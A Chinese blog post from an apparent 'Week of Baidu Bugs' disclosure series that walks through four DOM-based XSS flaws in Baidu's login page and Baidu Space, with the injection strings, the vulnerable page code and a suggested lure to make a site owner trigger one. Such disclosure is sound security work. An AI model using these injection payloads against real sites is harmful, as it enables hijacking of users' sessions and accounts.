The Week of Baidu Bugs – Day 04: 百度空间多处DOM XSS漏洞

来源:大风起兮云飞扬

注:版权所有,转载请注明出处。

今天天气不错,也是我们杀人放火的好时间。今天的篇幅会有点长,所以分成两部分来写。

前三天讲的漏洞,可能大家会觉得有点不愠不火,特别是昨天那个XSIO,更是被茄子称为“猥琐流”,我想也确实是挺猥琐的~~

但这些风险是真实存在的,不能在惊笑之余因为“猥琐”而而忽略这些风险。

今天换个话题,讲讲更传统一些的漏洞:XSS

我这里不想浪费任何口水讲XSS的风险,如果还有人不了解或者是轻视它,那么我以后会再单独论述。在这里只想说的是,任何忽视XSS风险的人(更多的是程序员,因为没认识到),都会受到深刻的教训。什么?你还没被教训到?好吧,不是不报,时候未到

昨天看余弦在blog上发了个passport.baidu.com的XSS漏洞,利用的是u参数(百度的JS数据流注入型跨站),那么今天的开篇,就让我用一个同域名下的类似漏洞作为引子。

XSS1:百度个人中心登录处DOM XSS
这个漏洞实际上从某种程度来说是不能利用的,叫做bug更合适一点。但是这个例子非常典型,用来作为今天的开篇很不错。

测试方法很简单,打开 http://passport.baidu.com/?login 然后在输入用户名的地方输入:

</script><img onclick=alert();>

注意别输错了,和一般的XSS 不同
然后密码随便输入一个,提交登录。
之后就会看到页面被破坏掉了。
把因为我们用了 onclick 事件,所以把鼠标移到图片上点一下,发现什么了? 我们可爱的小框出来了。
这个漏洞的原因是因为baidu把用户名当做错误提示信息直接给写入到js里面去了,而没有做任何过滤。
源代码如下:
<script language=”javascript”>
var err_str=””;
switch(1)
{
        case 1:
                err_str = “用户名格式错误,请重新输入”
                break;
        case 2:
                err_str = “用户“</script><img onclick=alert();>”不存在”
                break;
        case 3:
……

我们闭合掉了script标签,然后插入我们自己的图片事件。

但是在这里由于用户名有50个字节的长度限制,所以我们可以利用的空间非常有限。这也属于个YY漏洞。

YY完了,可以进入正题了。

实际上我准备了一打以上的XSS漏洞,但是如果每天发一个显然有些不厚道,大家也会觉得看的不爽,也很容易变成the Month of Baidu Bugs,所以我会稍微归类,然后再发出来。

接下来要讲的这个DOM XSS,出在创建博客处。

XSS2: 百度空间创建新文章DOM XSS
测试方法:
进入如下url:

http://hi.baidu.com/testuser/creat/blog/#‘><script>alert();</script><‘

注意是单引号,而不是XSS常用的双引号。
我们的可爱小框直接弹出来了。

实际上这里会弹两次。XSS漏洞具体原因在以下地方
网页在生成时候,有两个表单,调用了JS来动态获取URL的值
form1:
<form name=”form1″ id=”popFormSubmit” action=”/testuser/commit” method=”post” onSubmit=”return checkform();”>
<input type=”hidden” name=”ct” value=”1″>
<input type=”hidden” name=”cm” value=”1″>
<script language=”JavaScript”>
document.write(“<input name=’spRefURL’ type=’hidden’ value='”+window.location.href+”‘>”);
</script>

form2:
<div id=”_redirect_to_passport” style=”display:none;”>
<form method=”POST” action=”https://passport.baidu.com/?login” id=”_redirect_form”>
<input type=”hidden” name=”tpl” value=”sp”>
<input type=”hidden” name=”username” id=”_r_username” />
<input type=”hidden” name=”password” id=”_r_password” />
<script>
document.write(“<input type=’hidden’ name=’u’ value='” + location.href + “‘ />”);
</script>
</form>

而这里我们通过这个js,就可以把location.href的值传入到网页标签里去,所以我们使用

http://hi.baidu.com/testuser/creat/blog/#‘><script>alert();</script><‘而由于在这里input标签的value用的是单引号,所以我也需要用单引号去闭合它。

 

最后,我们的XSS就被动态加载进了页面,从而得到执行了!

讲点题外话,写这个WoBB系列确实是有点累,截图、贴代码、写文字、校稿都要花费我不少时间。

大家多给我点支持,我争取把这个连载写完,尽量不做太监~~。

以前还梦想着以后去写YY小说,看这样子,说不定什么时候就进宫了。

扯完淡了,继续讲漏洞。

Baidu的DOM XSS漏洞大部分是出在 spRefURL 这个参数上的。

这个参数应该是用来统计 Referer 字段一类的作用,也可能是baidu的数据仓库用来收集用户行为所布下的暗桩(我很喜欢牛博威用的这个词~~~~多形象啊~~~呵呵)。

但是这个参数往往在收集URL的同时,也把我们的XSS脚本给收集进去了。

看如下漏洞。

XSS 3: 百度空间博客评论处DOM XSS

测试方法如下:
进入以下URL(用户名和帖子ID自己替换,别傻的直接点了然后告诉我测试无效):

http://hi.baidu.com/testuser/blog/item/e3713128deadbabe99250a9e#‘><script>alert(/fvck+baidu/);</script><‘

可以看到,我们的可爱的小框再次弹出来了!
有多少评论,这个小框就会弹多少次。

漏洞原因还是和XSS 2一样,如下:
表单中用js动态获取url
<form name=”form1″ id=”popFormSubmit” action=”/testuser/commit” method=”post” onSubmit=”return checkcmtform()”>
<input type=”hidden” name=”ct” value=”8″>
<input type=”hidden” name=”cm” value=”1″>
<input type=”hidden” name=”spBlogID” value=”1f9a3aacaff38d0c4b36d6f5″>
<script LANGUAGE=”JavaScript”>
    document.write(“<input type=’hidden’ name=’spRefURL‘ value='”+window.location.href+”‘>”);
</script>
<div class=”tit”>发表评论:</div>
<table width=”620″ border=”0″ cellspacing=”5″ cellpadding=”0″>
<tr>

这个叫popFormSubmit的表单挺造孽的,很多地方都有它!估计很快就会补。

如果说上面这个漏洞和前面的有点雷同的话,那么接下来讲的这个就有点细微的差别了。

XSS 4: 百度空间删除留言DOM XSS漏洞
测试方法:
输入以下URL:

http://hi.baidu.com/testuser/profile#“;alert(/FVCK+BAIDU+XSS/);”或者如下URL:

 

http://hi.baidu.com/testuser/board#“;alert(/FVCK+BAIDU+XSS/);”

当然,你要是在登录状态下。

进入之后,我们看到好像什么都没有~~,没错,就是什么都没有。

这时候如果你有留言,那么,删除它,如果没有,自己写个留言,再去删除它。

在提交删除后,就会看到我们可爱的小框框弹出来啦~~!
问题出在提交表单后的返回页面上。

Baidu通过commit做了很多操作,几乎所有表单都是由commit返回的。

在返回时,会有一个动态结果,这里的漏洞就出在这个动态返回结果上。

以下是页面返回后的代码:
<!–STATUS OK–>

……

<!–
以下部分是动态提交内容
//–>

……

<!– 42.删除留言 –>
   
<script language=”javascript”>
<!–
writestr(“留言删除成功!”);
var ref=”http://hi.baidu.com/testuser/board#“;alert(/XSS/);””;
if(ref.match(/board\/boardid/gi)){
    url=”http://hi.baidu.com/testtest9/board”
}else{
    url=ref;
}
function gotCmtUrl()
{
   if(top.location.href==url) top.location.reload();
   else top.location.href=url;
}
//gotourl(url);
//setTimeout(function(){top.location.href=url;},600);
setTimeout(“gotCmtUrl()”,600);
//–>
</script>
   

</div>
</body>
</html>

由于ref直接引用了url, 而没有做任何过滤,所以我们就可以把js直接写进该返回页面中。

设想如下场景: 在某空间留言辱骂主人,然后将URL copy给主人或诱使其去看,主人一怒下删除之,然后就XXXXXXX

具体利用见人见智了。

欲知后事如何,且听下回分解。

PS: 本次活动仅仅是个人行为,与任何组织或集体无关.

相关日志

抢楼还有机会... 抢座Rss 2.0或者 Trackback

  • 早餐喝豆浆

    这人跨站玩的真牛
    弱弱的问一句,茄子宝最近在干嘛?

发表评论